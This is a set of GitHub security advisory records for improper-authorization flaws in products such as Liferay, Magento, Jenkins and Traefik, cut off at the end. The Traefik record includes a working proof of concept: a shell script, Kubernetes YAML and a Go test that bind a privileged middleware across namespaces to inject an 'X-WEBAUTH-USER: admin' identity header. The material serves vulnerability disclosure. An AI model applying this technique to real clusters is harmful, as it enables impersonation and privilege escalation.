CWE-863

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.portal.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.2.0"
            },
            {
              "fixed": "7.4.2-ga3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.2.10.fp15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-25149"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-29T12:29:08Z",
    "nvd_published_at": "2024-02-20T07:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Liferay Portal 7.2.0 through 7.4.1, and older unsupported versions, and Liferay DXP 7.3 before service pack 3, 7.2 before fix pack 15, and older unsupported versions does not properly restrict membership of a child site when the \"Limit membership to members of the parent site\" option is enabled, which allows remote authenticated users to add users who are not a member of the parent site to a child site. The added user may obtain permission to perform unauthorized actions in the child site.",
  "id": "GHSA-qpgh-6v9w-vfv6",
  "modified": "2025-07-29T12:29:08Z",
  "published": "2024-02-20T09:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25149"
    },
    {
      "type": "WEB",
      "url": "https://github.com/liferay/liferay-portal/commit/dfd287acb325e2cddced3910e3baba1d258509de"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/liferay/liferay-portal"
    },
    {
      "type": "WEB",
      "url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2024-25149"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Liferay Portal and Liferay DXP Does Not Properly Restrict Membership to Child Site Based on Parent Site Options"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.7-beta1"
            },
            {
              "fixed": "2.4.7-p3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.6-p1"
            },
            {
              "fixed": "2.4.6-p8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.5-p1"
            },
            {
              "fixed": "2.4.5-p10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.4-p11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.7"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.6"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.5"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.4"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45128"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-11T18:27:17Z",
    "nvd_published_at": "2024-10-10T10:15:06Z",
    "severity": "MODERATE"
  },
  "details": "Magento Open Source versions 2.4.7-p2, 2.4.6-p7, 2.4.5-p9, 2.4.4-p10 and earlier are affected by an Improper Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and have a low impact on integrity and availability. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-qpp7-742q-58j3",
  "modified": "2024-10-11T18:27:17Z",
  "published": "2024-10-10T12:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45128"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/magento/magento2"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/magento/apsb24-73.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Magento Open Source Improper Authorization vulnerability"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-57680"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-16T19:15:29Z",
    "severity": "MODERATE"
  },
  "details": "An access control issue in the component form2PortriggerRule.cgi of D-Link 816A2_FWv1.10CNB05_R1B011D88210 allows unauthenticated attackers to set the port trigger of the device via a crafted POST request.",
  "id": "GHSA-qpq2-f23h-crq4",
  "modified": "2025-02-03T21:31:49Z",
  "published": "2025-01-16T21:30:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57680"
    },
    {
      "type": "WEB",
      "url": "https://github.com/abcdefg-png/IoT-vulnerable/blob/main/Unauthorized_Vulnerability/D-Link/DIR-816/form2PortriggerRule.md"
    },
    {
      "type": "WEB",
      "url": "https://www.dlink.com/en/security-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-57590"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-24T10:17:38Z",
    "severity": "HIGH"
  },
  "details": "A missing authorization vulnerability exists in the Task Group APIs of Apache DolphinScheduler. The affected APIs do not properly verify whether the authenticated user has permission to access the project associated with the target Task Group.\n\n\n\nThis issue affects Apache DolphinScheduler: before 3.4.3.\n\n\n\nUsers are recommended to upgrade to version 3.4.3, which fixes the issue.",
  "id": "GHSA-qpqm-x4vh-jm23",
  "modified": "2026-09-24T18:31:17Z",
  "published": "2026-09-24T12:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57590"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/3ncvptkjw9h6s8mjxlwwo30bxxgol6ry"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/09/24/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-105976"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-10T06:16:40Z",
    "severity": "MODERATE"
  },
  "details": "The Portfolio Filter Gallery  WordPress plugin before 2.2.1 does not perform proper authorization checks in a set of AJAX actions, allowing users with at least the Contributor role to read, modify and delete other users\u0027 galleries as well as site-wide gallery filters.",
  "id": "GHSA-qpvh-mq7h-9x9h",
  "modified": "2026-10-10T12:30:24Z",
  "published": "2026-10-10T06:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105976"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/1ad36801-d53b-4253-ab7a-bd91c0f144f3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-21484"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-09T15:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "LDAP authentication in SAP HANA Database version 2.0 can be bypassed if the attached LDAP directory server is configured to enable unauthenticated bind.",
  "id": "GHSA-qq36-2m78-ghvj",
  "modified": "2022-05-24T17:44:00Z",
  "published": "2022-05-24T17:44:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21484"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3017378"
    },
    {
      "type": "WEB",
      "url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=571343107"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:gitlab-oauth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-2228"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-28T23:44:46Z",
    "nvd_published_at": "2020-07-15T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "GitLab Authentication Plugin 1.5 and earlier does not differentiate between user names and hierarchical group names when performing authorization. This allows an attacker with permissions to create groups in GitLab to gain the privileges granted to another user or group.\n\nGitLab Authentication Plugin 1.6 performs user name and group name authorization checks using the appropriate GitLab APIs.",
  "id": "GHSA-qq38-mxpq-rrpj",
  "modified": "2022-12-28T23:44:46Z",
  "published": "2022-05-24T17:23:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2228"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/gitlab-oauth-plugin"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2020-07-15/#SECURITY-1792"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/07/15/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper authorization of users and groups with the same base name in Jenkins GitLab Authentication Plugin"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-0017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-16T20:15:47Z",
    "severity": "MODERATE"
  },
  "details": "In shouldUseNoOpLocation of CameraActivity.java, there is a possible confused deputy due to a permissions bypass. This could lead to local information disclosure with no additional execution privileges needed. User interaction is needed for exploitation.",
  "id": "GHSA-qq53-28v3-c4vm",
  "modified": "2024-11-04T21:30:25Z",
  "published": "2024-02-16T21:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0017"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/packages/apps/Camera2/+/5c4c4b35754eef319dcd69c422f0b1ac0c823f6e"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2024-01-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-23446"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-15T11:15:09Z",
    "severity": "HIGH"
  },
  "details": "Improper Access Control in SICK FTMg AIR FLOW SENSOR with Partnumbers\n1100214, 1100215, 1100216, 1120114, 1120116, 1122524, 1122526 allows an unprivileged remote attacker to download files by using a therefore unpriviledged account via the REST interface.",
  "id": "GHSA-qq8q-67x7-25jm",
  "modified": "2026-06-01T15:30:31Z",
  "published": "2023-05-15T12:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23446"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/.well-known/csaf/white/2023/sca-2023-0004.json"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/.well-known/csaf/white/2023/sca-2023-0004.pdf"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/psirt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "Traefik"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-65601"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-05T21:49:19Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThere is a medium-severity namespace-confusion vulnerability in Traefik\u0027s Kubernetes Gateway API provider. When resolving `HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef`, Traefik used the backend Service namespace instead of the `HTTPRoute` namespace. A low-privileged route author holding a `ReferenceGrant` for a cross-namespace Service could therefore bind a Traefik `Middleware` from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications may receive attacker-selected authenticated-identity state. The fix resolves `extensionRef` against the `HTTPRoute` namespace.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nTraefik\u0027s Kubernetes Gateway API provider resolves\n`HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef` in the backend\nService namespace instead of the `HTTPRoute` namespace. A low-privileged route\nauthor with a permitted cross-namespace Service reference can therefore bind a\nTraefik `Middleware` from the backend namespace without a separate grant for\nthat middleware. If the reused middleware sets trusted reverse-proxy identity\nheaders, downstream applications can receive attacker-selected authenticated\nidentity state.\n\n## Description\n\nGateway API `ReferenceGrant` allows a namespace owner to grant a route in\nanother namespace permission to reference a specific backend object, such as a\n`Service`. That grant should not implicitly authorize the route author to bind\nother policy objects in the backend namespace.\n\nIn the affected code path, Traefik copies `backendRef.namespace` into a local\n`namespace` variable. It correctly uses that namespace to validate and load the\nbackend `Service`, but then reuses the same namespace when resolving\n`backendRef.filters[].extensionRef`. For Traefik CRD `Middleware` extension\nfilters, the CRD provider turns `(namespace, name)` into a dynamic middleware\nreference such as:\n\n```text\nplatform-privileged-auth-header@kubernetescrd\n```\n\nAs a result, a tenant route in `tenant-a` can bind a middleware named\n`privileged-auth-header` from the backend namespace `platform`, even though the\nGateway API `ReferenceGrant` only granted access to `platform/protected-api`\n`Service`.\n\n## Impact\n\nThe PoC demonstrates that an attacker-authored `HTTPRoute` can cause Traefik to\nattach a backend-namespace `Headers` middleware to the generated backend\nservice. The middleware injects:\n\n```text\nX-WEBAUTH-USER: admin\n```\n\nThat is a realistic downstream primitive because many applications support\ntrusted reverse-proxy authentication headers when deployed behind a gateway.\nSeparate Docker validation showed this header-auth class can map to\nauthenticated identities in Grafana, Gitea, Jenkins, SonarQube, and Nexus\nRepository when those products are intentionally configured for reverse-proxy\nauthentication.\n\nThis is not a bug in those downstream applications and this PoC does not claim\ndirect Traefik host RCE, sandbox escape, private-key exfiltration, or default\ncluster takeover. The Traefik vulnerability is unauthorized middleware binding\nacross a Gateway API namespace boundary.\n\n## Proof Of Concept\n\n### Files\n\n\u003cdetails\u003e\n\u003csummary\u003erun.sh\u003c/summary\u003e\n\n```bash\n#!/usr/bin/env sh\nset -eu\n\nTARGET_REF=\"${TARGET_REF:-v3.7.5}\"\nREPO_URL=\"${REPO_URL:-https://github.com/traefik/traefik.git}\"\nSCRIPT_DIR=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")\" \u0026\u0026 pwd)\"\nWORKDIR=\"${WORKDIR:-$(mktemp -d \"${TMPDIR:-/tmp}/traefik-gw-extref-poc.XXXXXX\")}\"\n\nif [ \"${KEEP_WORKDIR:-0}\" != \"1\" ]; then\n\ttrap \u0027rm -rf \"$WORKDIR\"\u0027 EXIT INT TERM\nfi\n\nprintf \u0027[*] target_ref=%s\\n\u0027 \"$TARGET_REF\"\nprintf \u0027[*] workdir=%s\\n\u0027 \"$WORKDIR\"\n\nif [ -n \"${TRAEFIK_SRC:-}\" ]; then\n\tprintf \u0027[*] cloning from local source: %s\\n\u0027 \"$TRAEFIK_SRC\"\n\tgit clone -q \"$TRAEFIK_SRC\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\n\tgit -c advice.detachedHead=false checkout -q \"$TARGET_REF\"\nelse\n\tprintf \u0027[*] cloning from remote: %s\\n\u0027 \"$REPO_URL\"\n\tgit -c advice.detachedHead=false clone -q --depth 1 --branch \"$TARGET_REF\" \"$REPO_URL\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\nfi\n\nmkdir -p pkg/provider/kubernetes/gateway/fixtures/httproute\ncp \"$SCRIPT_DIR/poc_gateway_extensionref_test.go\" \\\n\tpkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go\ncp \"$SCRIPT_DIR/backendref_extension_filter_cross_namespace_poc.yml\" \\\n\tpkg/provider/kubernetes/gateway/fixtures/httproute/backendref_extension_filter_cross_namespace_poc.yml\n\nif grep -Fq \u0027loadConfigurationFromGateways(ctx context.Context) (*dynamic.Configuration, *statusReport, error)\u0027 pkg/provider/kubernetes/gateway/kubernetes.go; then\n\tsed -i \\\n\t\t-e \u0027s/conf := p\\.loadConfigurationFromGateways(t\\.Context())/conf, _, err := p.loadConfigurationFromGateways(t.Context())/\u0027 \\\n\t\t-e \u0027s/require\\.NotNil(t, conf)/require.NoError(t, err)/\u0027 \\\n\t\tpkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go\nfi\n\nprintf \u0027[*] running Gateway HTTPRoute backendRef ExtensionRef namespace-confusion PoC\\n\u0027\ngo test ./pkg/provider/kubernetes/gateway \\\n\t-run \u0027^TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace$\u0027 \\\n\t-count=1 -v\n\nprintf \u0027POC_RESULT=PASS\\n\u0027\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003ebackendref_extension_filter_cross_namespace_poc.yml\u003c/summary\u003e\n\n```yaml\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: protected-api\n  namespace: platform\nspec:\n  ports:\n    - name: web\n      protocol: TCP\n      port: 80\n      targetPort: web\n\n---\nkind: EndpointSlice\napiVersion: discovery.k8s.io/v1\nmetadata:\n  name: protected-api-abc\n  namespace: platform\n  labels:\n    kubernetes.io/service-name: protected-api\naddressType: IPv4\nports:\n  - name: web\n    port: 8080\nendpoints:\n  - addresses:\n      - 10.10.20.10\n    conditions:\n      ready: true\n\n---\nkind: GatewayClass\napiVersion: gateway.networking.k8s.io/v1\nmetadata:\n  name: shared-gateway-class\nspec:\n  controllerName: traefik.io/gateway-controller\n\n---\nkind: Gateway\napiVersion: gateway.networking.k8s.io/v1\nmetadata:\n  name: shared-gateway\n  namespace: infra\nspec:\n  gatewayClassName: shared-gateway-class\n  listeners:\n    - name: http\n      protocol: HTTP\n      port: 80\n      allowedRoutes:\n        kinds:\n          - kind: HTTPRoute\n            group: gateway.networking.k8s.io\n        namespaces:\n          from: All\n\n---\nkind: ReferenceGrant\napiVersion: gateway.networking.k8s.io/v1beta1\nmetadata:\n  name: allow-tenant-route-to-service\n  namespace: platform\nspec:\n  from:\n    - group: gateway.networking.k8s.io\n      kind: HTTPRoute\n      namespace: tenant-a\n  to:\n    - group: \"\"\n      kind: Service\n      name: protected-api\n\n---\nkind: HTTPRoute\napiVersion: gateway.networking.k8s.io/v1\nmetadata:\n  name: tenant-route\n  namespace: tenant-a\nspec:\n  parentRefs:\n    - name: shared-gateway\n      namespace: infra\n      kind: Gateway\n      group: gateway.networking.k8s.io\n  hostnames:\n    - attacker.example\n  rules:\n    - matches:\n        - path:\n            type: PathPrefix\n            value: /\n      backendRefs:\n        - name: protected-api\n          namespace: platform\n          port: 80\n          kind: Service\n          group: \"\"\n          filters:\n            - type: ExtensionRef\n              extensionRef:\n                group: traefik.io\n                kind: Middleware\n                name: privileged-auth-header\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003epoc_gateway_extensionref_test.go\u003c/summary\u003e\n\n```go\npackage gateway\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/traefik/traefik/v3/pkg/config/dynamic\"\n\t\"github.com/traefik/traefik/v3/pkg/middlewares/headers\"\n\ttraefikv1alpha1 \"github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/traefikio/v1alpha1\"\n\tkubefake \"k8s.io/client-go/kubernetes/fake\"\n)\n\nfunc TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace(t *testing.T) {\n\tk8sObjects, gwObjects := readResources(t, []string{\"httproute/backendref_extension_filter_cross_namespace_poc.yml\"})\n\n\tkubeClient := kubefake.NewClientset(k8sObjects...)\n\tgwClient := newGatewaySimpleClientSet(t, gwObjects...)\n\n\tclient := newClientImpl(kubeClient, gwClient)\n\teventCh, err := client.WatchAll(nil, make(chan struct{}))\n\trequire.NoError(t, err)\n\tif len(k8sObjects) \u003e 0 || len(gwObjects) \u003e 0 {\n\t\t\u003c-eventCh\n\t}\n\n\tvar resolvedRefs []string\n\tp := Provider{\n\t\tEntryPoints: map[string]Entrypoint{\"web\": {Address: \":80\"}},\n\t\tclient:      client,\n\t}\n\n\tp.RegisterFilterFuncs(traefikv1alpha1.GroupName, \"Middleware\", func(name, namespace string) (string, *dynamic.Middleware, error) {\n\t\tresolvedRefs = append(resolvedRefs, namespace+\"/\"+name)\n\t\treturn namespace + \"-\" + name + \"@kubernetescrd\", \u0026dynamic.Middleware{\n\t\t\tHeaders: \u0026dynamic.Headers{\n\t\t\t\tCustomRequestHeaders: map[string]string{\n\t\t\t\t\t\"X-WEBAUTH-USER\": \"admin\",\n\t\t\t\t},\n\t\t\t},\n\t\t}, nil\n\t})\n\n\tconf := p.loadConfigurationFromGateways(t.Context())\n\trequire.NotNil(t, conf)\n\n\tvar serviceConfig *dynamic.Service\n\tfor _, service := range conf.HTTP.Services {\n\t\tfor _, middlewareRef := range service.Middlewares {\n\t\t\tif middlewareRef == \"platform-privileged-auth-header@kubernetescrd\" {\n\t\t\t\tserviceConfig = service\n\t\t\t}\n\t\t}\n\t}\n\n\trequire.Contains(t, resolvedRefs, \"platform/privileged-auth-header\")\n\trequire.Contains(t, conf.HTTP.Middlewares, \"platform-privileged-auth-header@kubernetescrd\")\n\trequire.NotNil(t, serviceConfig)\n\trequire.Contains(t, serviceConfig.Middlewares, \"platform-privileged-auth-header@kubernetescrd\")\n\n\tseenUser := make(chan string, 1)\n\tbackend := http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {\n\t\tseenUser \u003c- req.Header.Get(\"X-WEBAUTH-USER\")\n\t\trw.WriteHeader(http.StatusOK)\n\t})\n\n\thandler, err := headers.NewHeader(backend, *conf.HTTP.Middlewares[\"platform-privileged-auth-header@kubernetescrd\"].Headers)\n\trequire.NoError(t, err)\n\n\trecorder := httptest.NewRecorder()\n\thandler.ServeHTTP(recorder, httptest.NewRequest(http.MethodGet, \"http://attacker.example/\", nil))\n\n\tassert.Equal(t, http.StatusOK, recorder.Code)\n\tassert.Equal(t, \"admin\", \u003c-seenUser)\n\tt.Logf(\"POC_RESULT_DETAIL=backend_extension_ref_resolved_namespace=%q middleware=%q injected_header=%q\",\n\t\t\"platform\", \"platform-privileged-auth-header@kubernetescrd\", \"X-WEBAUTH-USER: admin\")\n}\n```\n\n\u003c/details\u003e\n\n### Requirements\n\n- `git`\n- Go toolchain compatible with the target Traefik tag. `v3.7.5` uses\n  `go 1.25.0`.\n- Network access to clone `https://github.com/traefik/traefik.git` and download\n  Go modules on first run.\n\nNo local Traefik checkout or Kubernetes cluster is required by default.\n\n### Run\n\n```sh\n./run.sh\n```\n\nOptional target override:\n\n```sh\nTARGET_REF=v3.7.0 ./run.sh\n```\n\nOptional local-source override for faster validation:\n\n```sh\nTRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh\n```\n\n### Expected Result\n\nThe run should end with:\n\n```text\nPOC_RESULT_DETAIL=backend_extension_ref_resolved_namespace=\"platform\" middleware=\"platform-privileged-auth-header@kubernetescrd\" injected_header=\"X-WEBAUTH-USER: admin\"\nPOC_RESULT=PASS\n```\n\n## Root Cause\n\nLine numbers below are from:\n\n```text\nrepository: https://github.com/traefik/traefik\ntag:        v3.7.5\ncommit:     26c96a3935cafb473f4a5bae1886560d9aa4e4f0\n```\n\n### 1. Route-level filters use the route namespace\n\n`pkg/provider/kubernetes/gateway/httproute.go:143-144`\n\n```go\n// TODO loadMiddlewares errors could change the condition.\nrouter.Middlewares, err = p.loadMiddlewares(conf, route.Namespace, routerName, routeRule.Filters, match.Path)\n```\n\nFor filters directly on `HTTPRoute.rules[]`, Traefik resolves extension filters\nrelative to `route.Namespace`. This matches the Gateway API\n`LocalObjectReference` model.\n\n### 2. BackendRef namespace overwrites the route namespace\n\n`pkg/provider/kubernetes/gateway/httproute.go:240-243`\n\n```go\nnamespace := route.Namespace\nif backendRef.Namespace != nil \u0026\u0026 *backendRef.Namespace != \"\" {\n\tnamespace = string(*backendRef.Namespace)\n```\n\nFor a cross-namespace backend Service, `namespace` becomes the backend\nnamespace, for example `platform`.\n\n### 3. ReferenceGrant checks only the backend object\n\n`pkg/provider/kubernetes/gateway/httproute.go:258-266`\n\n```go\nif err := p.isReferenceGranted(kindHTTPRoute, route.Namespace, group, string(kind), string(backendRef.Name), namespace); err != nil {\n\treturn serviceName, \u0026metav1.Condition{\n\t\tType:               string(gatev1.RouteConditionResolvedRefs),\n\t\tStatus:             metav1.ConditionFalse,\n\t\tObservedGeneration: route.Generation,\n\t\tLastTransitionTime: metav1.Now(),\n\t\tReason:             string(gatev1.RouteReasonRefNotPermitted),\n```\n\nThis validates permission to reference the backend object, such as\n`platform/protected-api` `Service`.\n\n### 4. The backend namespace is reused for backendRef filters\n\n`pkg/provider/kubernetes/gateway/httproute.go:269-277`\n\n```go\nmiddlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch)\nif err != nil {\n\treturn serviceName, \u0026metav1.Condition{\n\t\tType:               string(gatev1.RouteConditionResolvedRefs),\n\t\tStatus:             metav1.ConditionFalse,\n\t\tObservedGeneration: route.Generation,\n\t\tLastTransitionTime: metav1.Now(),\n```\n\nThe same `namespace` variable now points to the backend namespace. Therefore an\n`ExtensionRef` inside `backendRef.filters[]` is resolved as\n`platform/\u003cmiddleware-name\u003e` instead of `tenant-a/\u003cmiddleware-name\u003e`.\n\n### 5. CRD Middleware extension refs are qualified by the namespace supplied by Gateway provider\n\n`pkg/provider/kubernetes/crd/kubernetes.go:169-175`\n\n```go\nregistry.RegisterFilterFuncs(traefikv1alpha1.GroupName, \"Middleware\", func(name, namespace string) (string, *dynamic.Middleware, error) {\n\tif len(p.Namespaces) \u003e 0 \u0026\u0026 !slices.Contains(p.Namespaces, namespace) {\n\t\treturn \"\", nil, fmt.Errorf(\"namespace %q is not allowed\", namespace)\n\t}\n\n\treturn makeID(namespace, name) + providerNamespaceSeparator + ProviderName, nil, nil\n```\n\nThe namespace passed from `loadMiddlewares()` decides which CRD `Middleware`\nobject becomes part of the dynamic service configuration.\n\n### 6. Service-level middlewares are applied at runtime\n\n`pkg/server/service/service.go:186-194`\n\n```go\nif len(conf.Middlewares) \u003e 0 {\n\tif m.middlewareChainBuilder == nil {\n\t\t// This should happen only in tests.\n\t\treturn nil, errors.New(\"chain builder not defined\")\n\t}\n\tchain := m.middlewareChainBuilder.BuildMiddlewareChain(ctx, conf.Middlewares)\n\toriginalLB := lb\n\tvar err error\n\tlb, err = chain.Then(lb)\n```\n\nThe unauthorized middleware reference is not merely stored. Traefik applies\nservice-level middlewares to the backend load balancer handler during normal\nHTTP service construction.\n\n## Minimal Exploit 